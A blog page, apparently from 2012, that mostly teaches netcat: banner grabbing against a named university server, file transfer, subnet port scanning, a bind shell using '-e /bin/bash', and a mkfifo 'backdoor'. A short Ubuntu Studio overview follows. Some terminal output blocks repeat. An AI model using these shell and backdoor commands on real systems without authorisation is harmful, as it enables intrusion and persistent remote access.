Noticed the port 38700 in the end? This is the port that the client uses to talk with the server. Observe that the value is much higher than 1024 and hence such ports are known as ephemeral port.
Once the client and server get connected, you can write anything and press ENTER. The data will get transmitted to the other end thus making netcat a data transfer tool.
Open Raw Connection With Netcat as client
samar@samar-Techgaun:~$ nc -vv ku.edu.np 80
Warning: inverse host lookup failed for 116.90.239.5: Unknown host
ku.edu.np [116.90.239.5] 80 (http) open
HEAD / HTTP/1.0\n\n
HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
sent 21, rcvd 171
Warning: inverse host lookup failed for 116.90.239.5: Unknown host
ku.edu.np [116.90.239.5] 80 (http) open
HEAD / HTTP/1.0\n\n
HTTP/1.1 200 OK
Date: Mon, 22 Oct 2012 04:46:49 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8
sent 21, rcvd 171
As seen above, I opened the RAW connection to ku.edu.np and then issued HEAD / HTTP/1.0\n\n request to obtain the HTTP header. You can also notice (see web server version & PHP version?) that netcat can be used for basic fingerprinting and banner grabbing. Of course, this is not limited to HTTP fingerprinting. Extend the idea to work with other services.
Web Server Example Using Netcat
samar@samar-Techgaun:~/Desktop/test$ { echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < my_file)\r\n\r\n"; cat my_file; } | nc -lv -p 8080
listening on [any] 8080 ...
listening on [any] 8080 ...
This example taken from Wiki entry works as a one shot webserver hosting the my_file's content which can be accessed through web browser by specifying http://server:8080.
File Transfer Using Netcat
To transfer file from server to client, set up the server as below:
samar@samar-Techgaun:~$ cat my_file
I am DATA
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...
I am DATA
samar@samar-Techgaun:~$ nc -lvp 1234 < my_file
listening on [any] 1234 ...
In the client end, do:
samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234 > output.txt
samar-Techgaun.local [192.168.1.6] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt
I am DATA
samar-Techgaun.local [192.168.1.6] 1234 (?) open
^C sent 0, rcvd 10
samar@samar-Techgaun:~$ cat output.txt
I am DATA
Port Scanning With Netcat
samar@samar-Techgaun:~$ nc -nvz -w1 192.168.1.1 1-1024
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 23 (telnet) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 23 (telnet) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
If you wish to scan number of hosts (or full network), you can do something like below:
samar@samar-Techgaun:~/Desktop/test$ for ip in $(seq 1 254); do nc -nvz -w1 192.168.1.$ip 1-1024; done
In the first example, ports 1-1024 are scanned in the host 192.168.1.1 and in the second example, a class C network 192.168.1.0/24 is scanned. However, netcat is by no means an advanced port scanner and tools such as nmap are great for this job.
Spawn a process
The -e switch can be specified to spawn a process in the system. In the server, type the command below:
samar@samar-Techgaun:~$ nc -lv -p 1234 -e /bin/bash
listening on [any] 1234 ...
listening on [any] 1234 ...
At the other end, you will just connect to the just started netcat service and then issue any command that the bash recognizes. Good for shells in the servers, isn't it?
samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
samar-Techgaun.local [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
samar-Techgaun.local [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
Netcat backdoor using mkfifo
Since the normal pipe (|) is not so reliable & works in a unidirectional fashion, linux offers something called named pipes which can be exploited to create advanced backdoor in the systems which might not consist the netcat with -e support.
samar@samar-Techgaun:~$ mkfifo /tmp/b4ck; sh /tmp/b4ck | nc -lvp 1234 > /tmp/b4ck
listening on [any] 1234 ...
listening on [any] 1234 ...
At the other end, you just need to connect to the newly created netcat service port:
samar@samar-Techgaun:~$ nc -vv 192.168.1.6 1234
localhost [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
sent 3, rcvd 33
localhost [192.168.1.6] 1234 (?) open
ls
my_file
output.txt
sent 3, rcvd 33
I hope this post provides some directions on how to work with netcat and proves that netcat is called TCP/IP swiss army knife for the reason. There are other several possibilities with netcat. Explore to get more out of this awesome tool. ;)
Read more...
Bookmark this post: |
|
Sunday, 21 October 2012
Ubuntu Studio - Ubuntu Derivation For Audio Video & Graphics Editor
Ubuntu Studio is a variant of Ubuntu aimed at the GNU/Linux audio, video and graphic enthusiast as well as professional. The distribution provides a collection of open-source applications available for multimedia creation.
Ubuntu Studio is a free, open source and powerful operating system created for the creative people to create exceptional arts using right sets of tools for audio, video and graphical editing. As an officially recognized derivative of Ubuntu, Ubuntu Studio is supported by Canonical Ltd.
Ubuntu Studio is released every six months, but a long term release (LTS) version is released only every 2 years.
Audio apps include Jack, Ardour, Audacity, QTractor, Hydrogen, Yoshimi, Rakarrack, Gladish, Puredata and several other apps available for download.
Graphical apps include Blender, Inkscape, GIMP, MyPaint and several other apps.
Video apps include Openshot video editor, FFMPEG, DVDStyler, and other apps.
Photography apps include Darktable, Shotwell, and several other useful apps.
Calibre, Scribus and LibreOffice and other apps are available to suffice publishing needs.
Useful Links
Ubuntu Studio HOME
Ubuntu Studio Download
Ubuntu Studio Documentation
Read more...
Ubuntu Studio is released every six months, but a long term release (LTS) version is released only every 2 years.
Audio apps include Jack, Ardour, Audacity, QTractor, Hydrogen, Yoshimi, Rakarrack, Gladish, Puredata and several other apps available for download.
Graphical apps include Blender, Inkscape, GIMP, MyPaint and several other apps.
Video apps include Openshot video editor, FFMPEG, DVDStyler, and other apps.
Photography apps include Darktable, Shotwell, and several other useful apps.
Calibre, Scribus and LibreOffice and other apps are available to suffice publishing needs.
Useful Links
Ubuntu Studio HOME
Ubuntu Studio Download
Ubuntu Studio Documentation
Read more...
Bookmark this post: |
|
Subscribe to:
Posts (Atom)